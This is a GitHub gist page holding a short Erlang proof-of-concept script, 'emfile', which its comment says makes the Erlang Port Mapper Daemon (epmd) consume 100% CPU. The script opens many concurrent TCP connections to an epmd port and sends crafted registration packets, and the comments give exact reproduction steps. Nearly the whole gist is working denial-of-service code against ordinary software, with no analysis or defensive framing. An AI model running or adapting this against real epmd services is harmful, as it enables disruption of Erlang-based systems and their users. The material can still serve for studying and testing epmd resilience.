Skip to content

Instantly share code, notes, and snippets.

@msantos
Created March 21, 2010 00:14
Show Gist options
  • Save msantos/338996 to your computer and use it in GitHub Desktop.
Save msantos/338996 to your computer and use it in GitHub Desktop.
%%% Cause epmd to use 100% CPU
%%%
%%% ulimit -n 16
%%% epmd -d -p 1234
%%%
%%% $ erl
%%% emfile:start(1234,32).
%%%
-module(emfile).
-compile(export_all).
start(Port,N) ->
crypto:start(),
loop(Port,N).
loop(_,0) -> ok;
loop(Port, N) ->
spawn(?MODULE, connect, [Port]),
loop(Port, N-1).
connect(Port) ->
Packet = list_to_binary([<<0,17,120,217,54,77,0,0,5,0,5,0,4>>,
crypto:rand_bytes(4),
<<0,0>>]),
{ok, Socket} = gen_tcp:connect({127,0,0,1}, Port, [
{packet,0},
binary
]),
ok = gen_tcp:send(Socket, Packet),
wait().
wait() ->
receive _ -> wait() end.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment